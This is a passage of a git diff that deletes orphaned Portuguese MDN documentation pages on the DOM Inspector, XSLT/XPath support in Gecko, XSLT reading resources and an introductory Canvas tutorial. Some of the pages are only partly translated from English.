-<p>The DOM Nodes viewer shows attributes of nodes that can take them, or the text content of text nodes, comments, and processing instructions. The attributes and text contents may also be edited.</p>
-
-<p>The Box Model viewer gives various metrics about XUL and HTML elements, including placement and size.</p>
-
-<p>The XBL Bindings viewer lists the XBL bindings attached to elements. If a binding extends another binding, the binding menulist will list them in descending order to to "root" binding.</p>
-
-<p>The CSS Rules viewer shows the CSS rules that are applied to the node. Alternatively, when used in conjunction with the Style Sheets viewer, the CSS Rules viewer lists all recognized rules from that style sheet in order. Properties may be also be edited. Rules applying to pseudo-elements do not appear.</p>
-
-<p>The JavaScript Object viewer gives a hierarchical tree of the object pane's subject. The JavaScript Object viewer also allows JavaScript to be evaluated by selecting the appropriate menuitem in the context menu.</p>
-
-<h3 id="Ações_básicas_do_visualizador_de_Nodos_de_DOM">Ações básicas do visualizador de Nodos de DOM</h3>
-
-<h4 id="Selecionar_elementos_com_clique">Selecionar elementos, com clique</h4>
-
-<p>Another powerful interactive feature of the DOM Inspector is that when you have the DOM Inspector open and have enabled this functionality by choosing <strong style="font-weight: bold;">Edit</strong><strong> &gt; Select Element by Click</strong> or by clicking the little magnifying glass icon in the upper left portion of the DOM Inspector application, you can click anywhere in a loaded web page or the the inspect chrome document, and the element you click will be shown in the document pane in the DOM Nodes viewer and information displayed in the object pane.</p>
-
-<h4 id="procurar_por_Nodos_no_DOM">procurar por Nodos no DOM</h4>
-
-<p>Another way to inspect the DOM is to search for particular elements you're interested in by ID, class, or attribute. When you select <strong>Edit &gt; Find Nodes...</strong> or press <code>Ctrl + F</code>, the DOM Inspector displays a find dialog that lets you find elements in various ways, and that gives you incremental searching by way of the <code>&lt;F3&gt;</code> shortcut key.</p>
-
-<p><img alt="domi-find-appcontent.png" class="default internal" src="/@api/deki/files/4687/=domi-find-appcontent.png"></p>
-
-<h4 id="Atualizar_o_DOM_Dinamicamente">Atualizar o DOM Dinamicamente</h4>
-
-<p>Another feature to mention in this introduction is the ability is the ability the DOM Inspector gives you to dynamically update information reflected in the DOM about web pages, user interface, and other elements. Note that when the DOM Inspector displays information about a particular node or subtree, it presents individual nodes and their values (in the DOM, attributes are subnodes of elements, typically) in an active list. You can perform actions on the individual items in this list from the context menu and the Edit menu, both of which contain menutimes that allow you <em>edit</em> the values of those attributes.</p>
-
-<p><img alt="domi-edit-search-onclick.png" class="default internal" src="/@api/deki/files/4686/=domi-edit-search-onclick.png"></p>
-
-<p>This interactivity allows you to shrink and grow element size, change icons, and do other layout-tweaking updates—all without actually changing the DOM as it is defined in the file on disk.</p>
-
-<p>Gostar do Inspetor</p>
-
-<p>O 'Inspetor de DOM' can take some figuring out, but once you get used to it, you may find that these structured views of web pages and interfaces were exactly the aspects of your own application development that were missing. The DOM Inspector not only presents all this information about pages in a clear and structured way, it gives you way to find and update those structures, and it's simple to access via shortcuts and menus already available in the Mozilla browser. Used in concert with Mozilla tools like <a class="external" href="http://www.mozilla.org/projects/venkman">Venkman</a>, the JavaScript debugger, the DOM Inspector can give you a <em>complete</em> view of any web page or DOM-based application interface.</p>
diff --git a/files/pt-pt/orphaned/tools/add-ons/index.html b/files/pt-pt/orphaned/tools/add-ons/index.html
deleted file mode 100644
index c385f15d53..0000000000
--- a/files/pt-pt/orphaned/tools/add-ons/index.html
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: Add-ons
-slug: orphaned/Tools/Add-ons
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Tools/Add-ons
-original_slug: Tools/Add-ons
----
-<div>{{ToolsSidebar}}</div><p>Developer tools that are not built into Firefox, but ship as separate add-ons.</p>
-
-<dl>
- <dt><a href="https://addons.mozilla.org/en-US/firefox/addon/websocket-monitor/">WebSocket Monitor</a></dt>
- <dd>Examine the data exchanged in a WebSocket connection.</dd>
- <dd> </dd>
-</dl>
diff --git a/files/pt-pt/orphaned/transformar_xml_com_xslt/index.html b/files/pt-pt/orphaned/transformar_xml_com_xslt/index.html
deleted file mode 100644
index 4a94c23446..0000000000
--- a/files/pt-pt/orphaned/transformar_xml_com_xslt/index.html
+++ /dev/null
@@ -1,146 +0,0 @@
----
-title: Transformar XML com XSLT
-slug: orphaned/Transformar_XML_com_XSLT
-tags:
- - PrecisaDeMigração
- - Todas_as_Categorias
- - Transformar_XML_com_XSLT
- - XSLT
-original_slug: Transformar_XML_com_XSLT
----
-<p> </p>
-
-<h3 id="Vis.C3.A3o_Geral" name="Vis.C3.A3o_Geral"><a href="pt/Transformar_XML_com_XSLT/Vis%c3%a3o_Geral">Visão Geral</a></h3>
-
-<p>A separação do conteúdo e apresentação é uma característica chave de um projeto do <a href="pt/XML">XML</a>. A estrutura de um documento XML é projetada para refletir e esclarecer relacionamentos importantes entre os aspectos individuais do próprio conteúdo, <strong>unhindered</strong> por uma necessidade fornece qualquer indicação sobre como este dado deve eventualmente ser apresentado. Esta estruturação inteligente é particularmente importante como cada vez mais transferências de dados são automatizadas e ocorrem entre máquinas altamente heterogêneas ligadas por uma rede.</p>
-
-<p>Eventualmente muito do conteúdo armazenado em documentos XML precisarão ser apresentados para leitores humanos. Por isso o navegador proporciona uma interface familiar e altamente flexível, isto é um mecanismo ideal para entregar para apresentação as versões do conteúdo XML. Construído de baixo para cima utilizando uma variedade de tecnologias XML, o Mozilla incorpora nele todos os mecanismos necessários para processar todos os documentos XML originais e as folhas de estilo especializadas usadas para o estilo e disposição da exibição HTML, reduzindo o carregamento do servidor com o lado de processamento do cliente.</p>
-
-<p>No momento, o Gecko (a disposição do motor por trás do Mozilla e Firefox) suporta duas formas de folhas de estilo XML. Para controle básico da aparência — fontes, cores, posições, e assim por diante — Gecko usa a <a href="pt/CSS">CSS</a>, familiar de <a href="pt/DHTML">DHTML</a>. Toda a CSS1 e a maior parte da CSS2 são suportados. O suporte para a CSS3 esá em desenvolvimento. Para informações adicionais sobre CSS, veja <a class="external" href="http://www.meyerweb.com/eric/css/">Eric Meyer's CSS pages</a>.</p>
-
-<p>Nosso foco aqui é no segundo tipo de folhas de estilo que o Gecko suporta: a folha de estilo XSLT (Extensible Stylesheet Language Transformations). XSLT permite a um autor de folhas de estilo transfomrar um documento XML primário em dois caminhos significantes: manipulando e classificando o conteúdo, incluindo reordenação por atacado, se desejado assim, e transformação do conteúdo em um formato diferente (e no caso do Mozilla, o foco é na conversão disto em HTML que pode ser exibido pelo navegador.</p>
-
-<h3 id="Refer.C3.AAncia_XSLT.2FXPath" name="Refer.C3.AAncia_XSLT.2FXPath">Referência XSLT/XPath</h3>
-
-<h4 id="Elementos" name="Elementos"><a href="pt/XSLT/Elementos">Elementos</a></h4>
-
-<ul>
- <li><a href="pt/XSLT/apply-imports">xsl:apply-imports</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/apply-templates">xsl:apply-templates</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/attribute">xsl:attribute</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/attribute-set">xsl:attribute-set</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/call-template">xsl:call-template</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/choose">xsl:choose</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/comment">xsl:comment</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/copy">xsl:copy</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/copy-of">xsl:copy-of</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/decimal-format">xsl:decimal-format</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/element">xsl:element</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/fallback">xsl:fallback</a><em>(não suportado)</em></li>
- <li><a href="pt/XSLT/for-each">xsl:for-each</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/if">xsl:if</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/import">xsl:import</a><em>(suportado na maior parte)</em></li>
- <li><a href="pt/XSLT/include">xsl:include</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/key">xsl:key</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/message">xsl:message</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/namespace-alias">xsl:namespace-alias</a><em>(não suportado)</em></li>
- <li><a href="pt/XSLT/number">xsl:number</a><em>(parcialmente suportado)</em></li>
- <li><a href="pt/XSLT/otherwise">xsl:otherwise</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/output">xsl:output</a><em>(parcialmente suportado)</em></li>
- <li><a href="pt/XSLT/param">xsl:param</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/preserve-space">xsl:preserve-space</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/processing-instruction">xsl:processing-instruction</a></li>
- <li><a href="pt/XSLT/sort">xsl:sort</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/strip-space">xsl:strip-space</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/stylesheet">xsl:stylesheet</a><em>(parcialmente suportado)</em></li>
- <li><a href="pt/XSLT/template">xsl:template</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/text">xsl:text</a><em>(parcialmente suportado)</em></li>
- <li><a href="pt/XSLT/transform">xsl:transform</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/value-of">xsl:value-of</a><em>(parcialmente suportado)</em></li>
- <li><a href="pt/XSLT/variable">xsl:variable</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/when">xsl:when</a><em>(suportado)</em></li>
- <li><a href="pt/XSLT/with-param">xsl:with-param</a><em>(suportado)</em></li>
-</ul>
-
-<h4 id="Eixos" name="Eixos"><a href="pt/XPath/Eixos">Eixos</a></h4>
-
-<ul>
- <li><a href="pt/XPath/Axes/ancestor">ancestor</a></li>
- <li><a href="pt/XPath/Axes/ancestor-or-self">ancestor-or-self</a></li>
- <li><a href="pt/XPath/Axes/attribute">attribute</a></li>
- <li><a href="pt/XPath/Axes/child">child</a></li>
- <li><a href="pt/XPath/Axes/descendant">descendant</a></li>
- <li><a href="pt/XPath/Axes/descendant-or-self">descendant-or-self</a></li>
- <li><a href="pt/XPath/Axes/following">following</a></li>
- <li><a href="pt/XPath/Axes/following-sibling">following-sibling</a></li>
- <li><a href="pt/XPath/Axes/namespace">namespace</a><em>(não suportado)</em></li>
- <li><a href="pt/XPath/Axes/parent">parent</a></li>
- <li><a href="pt/XPath/Axes/preceding">preceding</a></li>
- <li><a href="pt/XPath/Axes/preceding-sibling">preceding-sibling</a></li>
- <li><a href="pt/XPath/Axes/self">self</a></li>
-</ul>
-
-<h4 id="Fun.C3.A7.C3.B5es" name="Fun.C3.A7.C3.B5es"><a href="pt/XPath/Fun%c3%a7%c3%b5es">Funções</a></h4>
-
-<ul>
- <li><a href="pt/XPath/Functions/boolean">boolean()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/ceiling">ceiling()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/concat">concat()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/contains">contains()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/count">count()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/current">current()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/document">document()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/element-available">element-available()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/false">false()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/floor">floor()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/format-number">format-number()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/function-available">function-available()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/generate-id">generate-id()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/id">id()</a><em>(parcialmente suportado)</em></li>
- <li><a href="pt/XPath/Functions/key">key()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/lang">lang()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/last">last()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/local-name">local-name()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/name">name()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/namespace-uri">namespace-uri()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/normalize-space">normalize-space()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/not">not()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/number">number()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/position">position()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/round">round()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/starts-with">starts-with()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/string">string()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/string-length">string-length()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/substring">substring()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/substring-after">substring-after()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/substring-before">substring-before()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/sum">sum()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/system-property">system-property()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/translate">translate()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/true">true()</a><em>(suportado)</em></li>
- <li><a href="pt/XPath/Functions/unparsed-entity-url">unparsed-entity-url()</a><em>(não suportado)</em></li>
-</ul>
-
-<h3 id="Para_leitura_adicional" name="Para_leitura_adicional"><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional">Para leitura adicional</a></h3>
-
-<ul>
- <li><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional#Books">Livros</a></li>
- <li><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional#Online">Online</a>
- <ul>
- <li><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional#The_World_Wide_Web_Consortium">O World Wide Web Consortium</a></li>
- <li><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional#Portals">Portais</a></li>
- <li><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional#Articles">Artigos</a></li>
- <li><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional#Tutorials.2FExamples">Tutoriais/Exemplos</a></li>
- <li><a href="pt/Transformar_XML_com_XSLT/Para_leitura_adicional#Mailing_Lists.2FNewsgroups">Listas de E-mail/Newsgroups</a></li>
- </ul>
- </li>
-</ul>
-
-<div class="originaldocinfo">
-<h3 id="Informa.C3.A7.C3.A3o_Original_do_Documento" name="Informa.C3.A7.C3.A3o_Original_do_Documento">Informação Original do Documento</h3>
-
-<ul>
- <li>Informação de Copyright: Copyright © 2001-2003 Netscape. All rights reserved.</li>
- <li>Nota: Este artigo reimpresso era originalmente parte do site DevEdge.</li>
-</ul>
-</div>
diff --git a/files/pt-pt/orphaned/transformar_xml_com_xslt/para_leitura_adicional/index.html b/files/pt-pt/orphaned/transformar_xml_com_xslt/para_leitura_adicional/index.html
deleted file mode 100644
index c76450caf1..0000000000
--- a/files/pt-pt/orphaned/transformar_xml_com_xslt/para_leitura_adicional/index.html
+++ /dev/null
@@ -1,207 +0,0 @@
----
-title: Para leitura adicional
-slug: orphaned/Transformar_XML_com_XSLT/Para_leitura_adicional
-tags:
- - PrecisaDeConteúdo
- - Transformar_XML_com_XSLT
-original_slug: Transformar_XML_com_XSLT/Para_leitura_adicional
----
-<a href="/pt-PT/docs/Transforming_XML_with_XSLT">« Transforming XML with XSLT</a>
-
-<h3 id="Imprimir" name="Imprimir">Imprimir</h3>
-
-<h4 id="Livros" name="Livros">Livros</h4>
-
-<dl>
- <dd><strong>XSLT: Programmer's Reference, Second Edition</strong>
-
- <dl>
- <dd><strong>Autor</strong>: Michael H. Kay</dd>
- <dd><strong>Tamanho</strong>: 992 páginas</dd>
- <dd><strong>Editora</strong>: Wrox; 2 edition (3 de maio de 2001)</dd>
- <dd><strong>ISBN</strong>: 0764543814
- <dl>
- <dd>Michael Kay é um membro do W3C XSL Working Group e o desenvolvedor de seu próprio processador XSLT de código livre, Saxon. Ele é também o autor do único livro deste assunto a ter alcançado a segunda edição. Este é um grande livro, atraente e bem completo, às vezes completo demais em detalhes, cobrindo toda base possível sobre XSLT.</dd>
- </dl>
- </dd>
- </dl>
- </dd>
-</dl>
-
-<p><span class="comment"><a class="external" href="http://www.amazon.com/XSLT-Programmers-Reference-Programmer/dp/0764543814" rel="freelink">http://www.amazon.com/XSLT-Programme.../dp/0764543814</a></span></p>
-
-<p> </p>
-
-<dl>
- <dd><strong>XSLT</strong>
-
- <dl>
- <dd><strong>Autor</strong>: Doug Tidwell</dd>
- <dd><strong>Tamanho</strong>: 473 páginas</dd>
- <dd><strong>Editora</strong>: O'Reilly Media; 1 edition (15 de agosto de 2001)</dd>
- <dd><strong>ISBN</strong>: 0596000537
- <dl>
- <dd>Doug Tidwell é um desenvolvedor sênior na IBM e um evangelista notável sobre tecnologias XML em geral. Ele é o autor de vários artigos e tutoriais em vários aspectos de XML no extenso site do desenvolvedor XML da IBM. Este livro é menos abrangente que o do Michael Kay, mas cobre todo o conteúdo básico e oferece exemplos interessantes.</dd>
- </dl>
- </dd>
- </dl>
- </dd>
-</dl>
-
-<p><span class="comment"><a class="external" href="http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537" rel="freelink">http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537</a></span></p>
-
-<p> </p>
-
-<dl>
- <dd><strong>Learning XML, Second Edition</strong>
-
- <dl>
- <dd><strong>Autor</strong>: Erik T. Ray</dd>
- <dd><strong>Tamanho</strong>: 432 páginas</dd>
- <dd><strong>Editora</strong>: O'Reilly Media; 2 edition (22 de setembro de 2003)</dd>
- <dd><strong>ISBN</strong>: 0596004206
- <dl>
- <dd>Como o título indica, esta é uma visão geral sobre XML. O capítulo 6 é voltado especificamente para XSLT.</dd>
- </dl>
- </dd>
- </dl>
- </dd>
-</dl>
-
-<p><span class="comment"><a class="external" href="http://www.amazon.com/gp/product/0596004206" rel="freelink">http://www.amazon.com/gp/product/0596004206</a></span></p>
-
-<h3 id="Digital" name="Digital">Digital</h3>
-
-<h4 id="Websites" name="Websites">Websites</h4>
-
-<dl>
- <dd><strong>World Wide Web Consortium</strong>
-
- <dl>
- <dd><strong>The W3C homepage</strong>: <a class="external" href="http://www.w3.org/" rel="freelink">http://www.w3.org/</a></dd>
- <dd><strong>The main XSL page</strong>: <a class="external" href="http://www.w3.org/Style/XSL/" rel="freelink">http://www.w3.org/Style/XSL/</a></dd>
- <dd><strong>The version 1.0 Recommendation for XSLT</strong>: <a class="external" href="http://www.w3.org/TR/xslt" rel="freelink">http://www.w3.org/TR/xslt</a></dd>
- <dd><strong>Archive of public style (CSS and XSLT) discussions</strong>: <a class="external" href="http://lists.w3.org/Archives/Public/www-style/" rel="freelink">http://lists.w3.org/Archives/Public/www-style/</a></dd>
- <dd><strong>The version 1.0 Recommendation for XPath</strong>: <a class="external" href="http://www.w3.org/TR/xpath" rel="freelink">http://www.w3.org/TR/xpath</a>
- <dl>
- <dd>The World Wide Web Consortium is the body that publishes Recommendations for a number of web-based technologies, many of which become the de-facto standard.</dd>
- </dl>
- </dd>
- </dl>
- </dd>
-</dl>
-
-<h4 id="Artigos" name="Artigos">Artigos</h4>
-
-<dl>
- <dd><strong>Hands-on XSL</strong>
-
- <dl>
- <dd><strong>Author</strong>: Don R. Day</dd>
- <dd><strong>Location</strong>: <a class="external" href="http://www-106.ibm.com/developerworks/library/x-hands-on-xsl/" rel="freelink">http://www-106.ibm.com/developerwork...-hands-on-xsl/</a></dd>
- </dl>
- </dd>
-</dl>
-
-<dl>
- <dd><strong>Understanding XSLT</strong>
-
- <dl>
- <dd><strong>Author</strong>: Jay Greenspan</dd>
- <dd><strong>Location</strong>: <a class="external" href="http://hotwired.lycos.com/webmonkey/98/43/index2a.html?tw=authoring" rel="freelink">http://hotwired.lycos.com/webmonkey/...l?tw=authoring</a></dd>
- </dl>
- </dd>
-</dl>
-
-<dl>
- <dd><strong>What is XSLT?</strong>
-
- <dl>
- <dd><strong>Author</strong>: G. Ken Holman</dd>
- <dd><strong>Location</strong>: <a class="external" href="http://www.xml.com/pub/a/2000/08/holman/index.html" rel="freelink">http://www.xml.com/pub/a/2000/08/holman/index.html</a></dd>
- </dl>
- </dd>
-</dl>
-
-<h4 id="Tutoriais.2FExemplos" name="Tutoriais.2FExemplos">Tutoriais/Exemplos</h4>
-
-<dl>
- <dd><strong>Zvon</strong>
-
- <dl>
- <dd><strong>XSL Programmers</strong>: <a class="external" href="http://www.zvon.org/o_html/group_xsl.html" rel="freelink">http://www.zvon.org/o_html/group_xsl.html</a></dd>
- </dl>
- </dd>
-</dl>
-
-<dl>
- <dd><strong>Jeni's XSLT Pages</strong>
-
- <dl>
- <dd><strong>Index</strong>: <a class="external" href="http://www.jenitennison.com/xslt/" rel="freelink">http://www.jenitennison.com/xslt/</a></dd>
- </dl>
- </dd>
-</dl>
-
-<dl>
- <dd><strong>XMLPitstop.com</strong>
-
- <dl>
- <dd><strong>StyleSheet Center</strong>: <a class="external" href="http://www.xmlpitstop.com/Default.asp?DataType=SSC" rel="freelink">http://www.xmlpitstop.com/Default.asp?DataType=SSC</a></dd>
- </dl>
- </dd>
-</dl>
-
-<dl>
- <dd><strong>XSL Tutorial</strong>
-
- <dl>
- <dd><strong>Index</strong>: <a class="external" href="http://www.nwalsh.com/docs/tutorials/xsl/" rel="freelink">http://www.nwalsh.com/docs/tutorials/xsl/</a></dd>
- </dl>
- </dd>
-</dl>
-
-<h4 id="Outros" name="Outros">Outros</h4>
-
-<dl>
- <dd><strong>Cover Pages</strong>
-
- <dl>
- <dd><strong>Extensible Stylesheet Language (XSL)</strong>: <a class="external" href="http://www.oasis-open.org/cover/xsl.html" rel="freelink">http://www.oasis-open.org/cover/xsl.html</a></dd>
- </dl>
- </dd>
-</dl>
-
-<dl>
- <dd><strong>XSL-List</strong>
-
- <dl>
- <dd><strong>Subscribe</strong>: <a class="external" href="http://www.mulberrytech.com/xsl/xsl-list/" rel="freelink">http://www.mulberrytech.com/xsl/xsl-list/</a></dd>
- <dd><strong>Archives</strong>: <a class="external" href="http://www.biglist.com/lists/xsl-list/archives/" rel="freelink">http://www.biglist.com/lists/xsl-list/archives/</a>
- <dl>
- <dd>The XSL-List is a very active general mailing list, hosted by <a class="external" href="http://mulberrytech.com/">Mulberry Technologies</a></dd>
- </dl>
- </dd>
- </dl>
- </dd>
-</dl>
-
-<dl>
- <dd><strong>mozilla.dev.tech.xslt</strong>
-
- <dl>
- <dd><strong>Google Groups</strong>: <a class="external" href="http://groups.google.com/group/mozilla.dev.tech.xslt" rel="freelink">http://groups.google.com/group/mozilla.dev.tech.xslt</a>
-
- <dl>
- <dd>This is a newsgroup that discusses Netscape-specific XSLT issues.</dd>
- </dl>
- </dd>
- </dl>
- </dd>
-</dl>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "fr": "fr/Transformations_XML_avec_XSLT/Autres_ressources", "pl": "pl/Transformacje_XML_z_XSLT/Przeczytaj_wi\u0119cej" } ) }}</p>
diff --git a/files/pt-pt/orphaned/tutorial_do_canvas/formas_de_desenho/index.html b/files/pt-pt/orphaned/tutorial_do_canvas/formas_de_desenho/index.html
deleted file mode 100644
index 4530fe5685..0000000000
--- a/files/pt-pt/orphaned/tutorial_do_canvas/formas_de_desenho/index.html
+++ /dev/null
@@ -1,9 +0,0 @@
----
-title: Formas de desenho
-slug: orphaned/Tutorial_do_Canvas/Formas_de_desenho
-original_slug: Tutorial_do_Canvas/Formas_de_desenho
----
-<h2 id="A_Grade">A Grade</h2>
-<p>Antes de começar a desenhar, nós precisamos falar um pouco sobre o <em>sistema de cordenadas</em>. No início da página anterior há um template de 150x150. Eu desenhei a grade padrão. Normalmente 1 unidade na grade corresponde à 1 pixel na tela. A origem da grade está posicionada no canto superior esquerdo (cordenada (0; 0)). Todos os elementos são posicionados pela sua origem. Então a posição do canto superior esquerdo do quadrado azul está em x pixels da esquerda e y pixels de cima (cordenada (x; y)). Mais tarde neste tutorial, nós veremos como reposicionar esta origem, rodar a grade e redimensionar. Por enquanto, trabalharemos com os padróes.</p>
-<h2 id="Desenhado_formas">Desenhado formas</h2>
-<p>Diferente do SVG, o canvas suporta apenas uma forma primitiva - retângulos. Todas as outras formas devem ser criadas combinando uma ou mais formas. Por sorte, nós temos uma coleção de funções de desenho de formas que permite a composição de forma altamente complexas.</p>
diff --git a/files/pt-pt/orphaned/tutorial_do_canvas/index.html b/files/pt-pt/orphaned/tutorial_do_canvas/index.html
deleted file mode 100644
index 39c32e7d85..0000000000
--- a/files/pt-pt/orphaned/tutorial_do_canvas/index.html
+++ /dev/null
@@ -1,25 +0,0 @@
----
-title: Tutorial do Canvas
-slug: orphaned/Tutorial_do_Canvas
-tags:
- - HTML:Canvas
- - Tutoriais
- - Tutorial_do_Canvas
-original_slug: Tutorial_do_Canvas
----
-<p><img align="right" alt="" class=" internal" src="/@api/deki/files/2529/=Canvas_tut_examples.jpg"><strong> O <code><a href="/pt/HTML/Canvas" title="pt/HTML/Canvas">&lt;canvas&gt;</a></code></strong> é um elemento <a href="/pt/HTML" title="pt/HTML">HTML</a> novo que pode ser usado para desenhar gráficos através de linguagens de guião (normalmente <a href="/pt/JavaScript" title="pt/JavaScript">JavaScript</a>). Ele pode, por exemplo, ser usado para desenhar gráficos, fazer composição de fotografias ou animações <span>(simples e <a href="/pt/Um_RayCaster_Básico">não tão simples</a>)</span>. A imagem à direita apresenta alguns exemplos de implementações de <code>&lt;canvas&gt;</code> que veremos mais adiante neste tutorial.</p>
-<p>O <code>&lt;canvas&gt;</code> foi inicialmente apresentado pela Apple para o <a class="external" href="http://www.apple.com/macosx/features/dashboard/">Mac OS X Dashboard</a> e mais tarde implementado no Safari. Os navegadores baseados no <a href="/pt/Gecko" title="pt/Gecko">Gecko</a> 1.8, tal como o Firefox 1.5, também suportam este elemento. O elemento <code>&lt;canvas&gt;</code> faz parte das específicações <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WhatWG Web applications 1.0</a>, também conhecidas como HTML 5.</p>
-<p>Neste tutorial eu vou tentar descrever como implementar o elemento <code>&lt;canvas&gt;</code> nas suas páginas HTML. Os exemplos apresentados devem dar umas boas ideias sobre o que é que se pode fazer com <code>&lt;canvas&gt;</code> e podem ser usados para começar a construir outras implementações.</p>
-<h3 id="Antes_de_come.C3.A7ar">Antes de começar</h3>
-<p>O uso do elemento <code>&lt;canvas&gt;</code> não é muito difícil mas para isso é preciso possuir um conhecimento básico de <a href="/pt/HTML" title="pt/HTML">HTML</a> e <a href="/pt/JavaScript" title="pt/JavaScript">JavaScript</a>.</p>
-<p>Como foi dito acima, o elemento <code>&lt;canvas&gt;</code> não é suportado em todos os navegadores modernos. Por consequência, para ver os exemplos será necessário usar o Firefox ou outro navegador baseado no Gecko tal como o Opera ou o Safari.</p>
-<h3 id="Neste_Tutorial">Neste Tutorial</h3>
-<ul> <li><a href="/pt/Tutorial_do_Canvas/Utilização_básica" title="pt/Tutorial_do_Canvas/Utilização_básica">Utilização básica</a></li> <li><a href="/pt/Tutorial_do_Canvas/Formas_de_desenho" title="pt/Tutorial_do_Canvas/Formas_de_desenho">Formas de desenho</a></li> <li><a href="/pt/Tutorial_do_Canvas/O_uso_de_imagens" title="pt/Tutorial_do_Canvas/O_uso_de_imagens">O uso de imagens</a></li> <li><a href="/pt/Tutorial_do_Canvas/Aplicar_estilos_e_cores" title="pt/Tutorial_do_Canvas/Aplicar_estilos_e_cores">Aplicar estilos e cores</a></li> <li><a href="/pt/Tutorial_do_Canvas/Transformações" title="pt/Tutorial_do_Canvas/Transformações">Transformações</a></li> <li><a href="/pt/Tutorial_do_Canvas/Composições" title="pt/Tutorial_do_Canvas/Composições">Composições</a></li> <li><a href="/pt/Tutorial_do_Canvas/Animações_básicas" title="pt/Tutorial_do_Canvas/Animações_básicas">Animações básicas</a></li>
-</ul>
-<h3 id="Ver_tamb.C3.A9m">Ver também</h3>
-<ul> <li><a href="/pt/HTML/Canvas" title="pt/HTML/Canvas">A página do tópico Canvas</a></li> <li><a href="/pt/Desenhar_Gráficos_com_Canvas" title="pt/Desenhar_Gráficos_com_Canvas">Desenhar Gráficos com Canvas</a></li> <li><a href="/Special:Tags?tag=Exemplos_Canvas&amp;language=pt" title="Special:Tags?tag=Exemplos_Canvas&amp;language=pt">Exemplos Canvas</a></li>
-</ul>
-<p>{{ Next("Canvas tutorial:Basic usage") }}</p>
-<p><span>Categorias</span></p>
-<p><span>Interwiki Language Links</span></p>
-<p>{{ languages( { "en": "en/Canvas_tutorial", "fr": "fr/Tutoriel_canvas", "ja": "ja/Canvas_tutorial", "ko": "ko/Canvas_tutorial", "pl": "pl/Przewodnik_po_canvas", "zh-cn": "cn/Canvas_tutorial" } ) }}</p>
diff --git a/files/pt-pt/orphaned/tutorial_do_canvas/utilização_básica/index.html b/files/pt-pt/orphaned/tutorial_do_canvas/utilização_básica/index.html
deleted file mode 100644
index 4b99099039..0000000000
--- a/files/pt-pt/orphaned/tutorial_do_canvas/utilização_básica/index.html
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: Utilização básica
-slug: orphaned/Tutorial_do_Canvas/Utilização_básica
-original_slug: Tutorial_do_Canvas/Utilização_básica
----
